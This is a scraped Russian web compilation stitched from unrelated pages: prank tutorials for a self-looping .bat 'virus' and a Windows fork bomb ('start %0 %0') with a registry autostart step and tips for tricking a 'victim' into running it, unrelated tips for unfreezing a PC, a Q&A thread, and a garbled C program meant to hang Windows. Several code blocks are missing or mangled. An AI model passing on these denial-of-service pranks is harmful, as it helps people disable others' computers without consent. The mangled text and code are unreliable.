Небольшая статья по созданию «вируса» Именно в кавычках, потому что это вовсе не вирус, а совсем безобидный файл. Этой статьей я бы хотел довести до пользователей, что нужно больше разбираться в компьютерах и командах, чтобы избежать многих проблем. Улучшайте свою компьютерную грамотность
Итак, я Вам покажу как можно заставить тормозить компьютер стандартными средствами Windows . А если точнее, то я буду использовать Командную строку и её команды для написания файлов.
Ну что ж, начнём создавать шалость
1) Открываем Блокнот и вставляем туда следующий код:
Далее нужно сохранить его (меню Файл — Сохранить как) с расширением bat (например vinda.bat). Не буду слишком вдаваться в подробности сохранения.
Раскрою сразу карты, а точнее объясню (для тех кто не догадался) что делает каждая команда.
md c:vindavoz — командой md создаём на диске С папку vindavoz
echo start c:vindavozvirus.bat>c:vindavozvirus.bat — самая вредная строка Команда echo используется для вывода сообщений в окне и по логике она должна вывести start c:vindavozvirus.bat и заглохнуть, но тут у нас стоит знак > который показывает куда нужно выводить это сообщение, а именно файл c:vindavozvirus.bat . Т.е. получается что папка уже создана, а файл ещё нет.
Как закрыть игру если завис компьютер и диспетчер задач не помогает?? Способ найден!
del %0 — удаляет сам себя Это на тот вариант, если Вы хотите скопировать файл на компьютер жертвы или заставите его/её самостоятельно запустить и он исчезнет. Ну а вообще это больше для ознакомления, чем нужная вещь.
После того, как запуститься данный файл, он создаст на диске С bat-файл с содержимым start c:papkavirus.bat . Этот код внутри файла означает что он будет запускать себя постоянно!
Теперь осталось только заставить жертву запустить этот файл (созданный на диске С).
Делается это тоже довольно легко. Достаточно прописать в любом ярлыке (желательно в том, который чаще всего используется, например игра) путь к нашему «вирусу» , а именно в поле Объект пишем «c:vindavozvirus.bat» .
В итоге получается такой замкнутый процесс, когда файл запускает каждый раз сам себя, а на экране это отображается как бесконечно долгое и быстрое появление окон командной строки. Этот процесс будет ооочень быстрым и будет продолжаться довольно долго.
Но тут всё зависит от оперативной памяти на компьютере-жертве, но она всё равно когда-нибудь забьется от стольких процессов и комп зависнет.
Весь процесс можно остановить нажав кнопку Pause/Break
2) Теперь немного модернизируем это действие. Точнее заставим «зациклиться» кое-что «потяжелее», например стандартный редактор изображений Paint
Код немного изменю, чтобы показать другой способ зацикливания:
В первой строке создаем метку, во второй строке запускаем стандартный Paint, в третьей строке возвращаемся снова к метке.
Узнать какие ещё можно использовать стандартные программы/утилиты можно посмотрев и прочитав статью Системные утилиты в Windows
Вместо стандартный и простых утилит можно использовать и «покруче», например фотошоп или офис )
Как закрыть зависшую программу
3) Теперь снова изменим немного наш первый файл, но таким образом, чтобы мало что могло ему помочь Это уже более серьезно, поэтому код и комментарии я скрою от незарегистрированных пользователей.
Код:
Да, мы немного изменили первоначальный вид, несколько его увеличив. Что же добавилось? Первые две строки и последнюю Вы уже знаете, поэтому распишу лишь следующие:
Ну а дальше всё становится понятно.
Поле для размышлений велико. Эксперементируйте
Статья по самостоятельному созданию не вредного вируса написана исключительно в ознакомительных целях!
Завис экран компьютера на Windows 8 или Windows 10 – попробуйте малоизвестную комбинацию клавиш для устранения проблемы
Оказывается, Windows дает возможность использовать стандартную комбинацию клавиш для перезапуска видеодрайвера. Можно воспользоваться ею в любое время, нажав сочетание Win + Ctrl + Shift + B.
Как только вы это сделаете, то на мгновение экран компьютера потемнеет и раздастся звуковой сигнал. Так компьютер реагирует на сброс видеодрайвера. Через секунду-две картинка на мониторе вернется в прежнее состояние. Поскольку такое действие влияет только на графический драйвер системы, все открытые приложения останутся на прежнем месте. Никакие данные потеряны не будут.
Многие пользователи наверняка обращали внимание на проблемы с видео, которые возникают после очередного обновления Windows 10. Комбинация клавиш Win + Ctrl + Shift + B как раз позволяет исправить проблему. Иногда она может возникнуть при выходе из сна ноутбука с подключенными внешними мониторами.
Указанная комбинация работает только в Windows 8 или 10, поэтому пользователям Windows 7 придется искать другое решение. Тем не менее, способ будет работать независимо от того, какие графические драйверы установлены в системе. Настройки от Nvidia, AMD и даже интегрированная графика Intel могут быть сброшены.
Fork-бомба, или как сделать, чтобы компьютер завис?
У моих друзей непрограммистов нередко возникают необычные идеи, которые приходится воплощать мне. Одна из них: как сделать, чтобы компьютер завис. Или как сделать, чтобы на нем нельзя было работать? Хотя бы до перезагрузки?
Одним из решений данной задачи является создание так называемой fork-бомбы – программы, которая будет создавать свои копии, которые, в свою очередь, также начнут бесконечно копироваться. Написать эту программу может любой человек за две минуты. Для Windows:
- Открываем блокнот.
- Пишем в нем «start %0 %0» (без кавычек).
- Сохраняем файл как “up.bat” (это например, на самом деле название может быть любым, главное – это указать расширение “.bat” – пакетный файл для Windows).
- Запускаем его.
Простой вызов диспетчера задач вам не поможет – процессов за несколько секунд будет уже больше сотни, и их число будет постоянно увеличиваться! Так что придется только перезагружать. А если вы поставите программу в автозагрузку, например, то товарищу, над которым вы хотите подшутить, будет совсем не до шуток. Как это сделать?
- Откройте пуск – выполнить – regedit – откроется встроенный редактор реестра.
- Открываем в реестре ветку HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun и добавляем в неё новый строковой параметр. Назвать его можно как угодно, а вот значение должно содержать путь к нашей fork-бомбе, то бишь файлу up.bat.
Теперь при загрузке компьютера сразу будет запускаться программа, мешающая работе компьютера. Если пользователь на вы с системой, то убрать её будет не так уж просто.
Вот так можно создать простейшую fork-бомбу.
Автор этого материала — я — Пахолков Юрий. Я оказываю услуги по написанию программ на языках Java, C++, C# (а также консультирую по ним) и созданию сайтов. Работаю с сайтами на CMS OpenCart, WordPress, ModX и самописными. Кроме этого, работаю напрямую с JavaScript, PHP, CSS, HTML — то есть могу доработать ваш сайт или помочь с веб-программированием. Пишите сюда.
Нажмите Win + Ctrl + Shift + B
Если проблема на вашем компьютере связана с застрявшим графическим драйвером, нажатие клавиш Win + Ctrl + Shift + B может исправить зависший компьютер, перезапустив видеодрайверы на вашем устройстве.
Поскольку эта комбинация клавиш только перезапускает графические драйверы, программа, которую вы оставили открытой, останется точно такой же, как и была, и вы не потеряете свою работу.
1. Нажмите клавиши Win + Ctrl + Shift + B на клавиатуре вашего компьютера
2. Через мгновение экран вашего компьютера потемнеет, и вы услышите звуковой сигнал.
Через ещё мгновение вы увидите, что дисплей возвращается в нормальное состояние, и вы сможете продолжить свою работу.
ШАГ 4
В некоторых случаях избавиться от «фризов и подвисаний» помогает гибернация (т.е. если отправить компьютер в гибернацию, а потом из него вывести — это может помочь!) .
Для этого нужно запустить диспетчер задач (сочетание Ctrl+Alt+Del), нажать по меню «Файл / новая задача» и последовательно ввести пару команд (выделены зеленым):
- powercfg -h on и нажать Enter (этим мы включим возможность компьютера уходить в гибернацию);
- shutdown /h /f и нажать Enter (этим мы отправляем компьютер в режим гибернации (т.е. всё, что открыто и работает — будет сохранено на диск и компьютер выключится. После включения — все ранее открытые документы будут восстановлены) ).
Диспетчер задач — выполняем команду от админа
Примечание: для обычной перезагрузки компьютера можно воспользоваться командой shutdown.exe -r -f -t 20 (и нажать Enter ).
Отнесите компьютер в сервисный центр
Если ни один из вышеперечисленных методов не помог в вашей проблеме, мы рекомендуем отнести компьютер в сервисный центр. Специалист проведет диагностику и устранит проблему.
Спасибо за внимание! Теперь вы знаете, какие клавиши нажать, если завис компьютер, и как выключить или перезагрузить компьютер, когда он завис.
Источник: fobosworld.ru
Есть ли комбинация клавиш для того, чтобы завис компьютер?
Смотрел фильм, и на клавиатуру резко запрыгнул кот, когда бегал по комнате. Фильм остановился, началось непрерывное жужжание то ли из системного блока, то ли из колонок. Компьютер не только завис и не реагировал на нажатия, но и не работала кнопка выключения на системном блоке — нужно было отключить его от электропитания. Подобную комбинацию клавиш в интернете не нашёл, но из-за чего такое может происходить стало интересно. Коты — удивительные существа, ведь если ты будешь нажимать все клавиши подряд, никогда не сделаешь того, что могут сделать эти существа. Разве возможно нажимая на кнопки вызвать сбой в системе?)
в избранное
Топор ов Викто р Алекс еевич [161K]
4 года назад
Было такое несколько раз, но у меня в этих случаях был виноват плеер. У программных плееров есть так называемые «горячие клавиши» (воспроизведение, пауза, перемотка . ) и бывает, что нажатие нескольких клавиш вызывает «подвисание» системы. Но у меня было несколько раз (собственно, даже много раз), когда испорченный файл намертво вешал плеер, а тот, также намертво, вешаю всю винду.
Не удается запустить диспетчер задач, не реагирует ни на какие клавиши . . А всё потому, что программа плеера (как впрочем и сама операционная система) написаны неправильно! Перехват нажатий клавиш программой плеера, приводит к тому, что система перестает чувствовать клавиатуру, если зависнет «модуль перехватчика»! Нажатие многих клавиш одновременно, очень редко, но может вызвать тот же эффект. Вообще, это касается многих программ (игр), которые перехватывают клавиатуру. Они могут «забыть» отдать системе клавиатуру, могут испортить драйвер клавиатуры (в памяти, не сам файл драйвера) и прочее подобные неприятности.
система выбрала этот ответ лучшим
Источник: www.bolshoyvopros.ru
Как программно вызвать зависание компьютера?
Значит арифметики мало, нужно что-то более тяжёлое. Хотя бы плавающую точку добавить. Или какие-нибудь сложные структуры данных, с простыми типами наверно любой язык справляется на рас.
28 июл 2011 в 12:39
Просто из любопытства, а зачем вам это? )
28 июл 2011 в 12:43
Когда я этим страдал, мне тупо было скучно на работе, и стрельнуло в голову выяснить на сколько мощный язык, только потом вычитал что мой алгоритм тупо бесполезен, всё было предусмотрено разработчиками, дальше было лень фигнёй маяться.
28 июл 2011 в 12:45
Один из пунктов ТЗ. ничего не поделаешь =)))
28 июл 2011 в 13:03
Уточните: Это винда? Требуется сие сотворить именно на C# или можно использовать C ? Привилегии пользователя ? Требуется отдать процессорное время одному процессу или можно загрузить комп прерываниями от харда, так чтоб мышь не шевелилась ?
28 июл 2011 в 14:45
6 ответов 6
Сортировка: Сброс на вариант по умолчанию
Для подвешивания компьютера надо ввести OS в тяжелый paging с откачиванием страниц на диск. При этом paging надо вызвать у достаточного (сравнимым с количеством ядер) числа процессов. Параллельно для полноты ощущений можно повесить по парочке процессов с бесконечным циклом на ядро.
Мой маленький эксперимент в течении нескольких минут привел туповатое творение Билла Гейтса (Windows-XP на Compaq Pentium(R)DualCore 2GB RAM) в полный ступор, окончательно оживить удалось только вытащив шнур питания (!) т.к. на кнопку выключения комп уже не реагировал.
Касперский же при первом запуске бинарника распознал в нем вредоносный soft и чего-то написал про Generic, но я быстро перевел прогу в разряд доверенных и название Generic-a упустил.
#include #include #include #ifdef WIN32 #include #else #define Sleep(x) sleep((x+500)/1000) #endif #define MEMSIZE 1000000000 // миллиард #define CPU 4 #define LIM 3 main (int ac, char *av[]) < int i; char str[1024]; if (ac >LIM) < printf («Exitn»); Sleep(5000); exit(1); >if (ac == 2 av[1][0] == ‘+’) < printf («Run CPUn»); Sleep(1000); while(1) i++; >if (ac == 1) < for (i = 0; i < CPU; i++) < sprintf(str,»start %s +»,av[0]); system(str); >> sprintf (str,»start %s «,av[0]); for (i = 0; i < ac; i++) strcat(str,» x «); printf («str = [%s]n»,str); system (str); char *mem = malloc(MEMSIZE); if (mem) < for (i = 0; i < MEMSIZE; i++) mem[i] = i*i; printf («memory 1n»); fflush(stdout); Sleep(2000); int l; for (i = 0; i < MEMSIZE; i++) < l = ((rand()*MEMSIZE))%MEMSIZE; // здесь не стал бороться с отрицательными if (l < 0) < l = -l; if (l >= MEMSIZE) < // на всякий случай // (реально не было, как и следовало ожидать) printf («l = %dn»,l); fflush(stdout); l = MEMSIZE-1; >> mem[i] = mem[l]+i; > printf («memory 2n»); fflush(stdout); > Sleep(2000); printf («Endn»); >
Желающие могут поиграться с параметрами и добавлением бесконечных циклов.
Делал на gcc из MinGW.
ХэшКод ! Все таки надо что-то сделать для удобного ввода текста программ по Copy/Paste (проблема с табуляциями в выравниваемом тексте программы).
Источник: ru.stackoverflow.com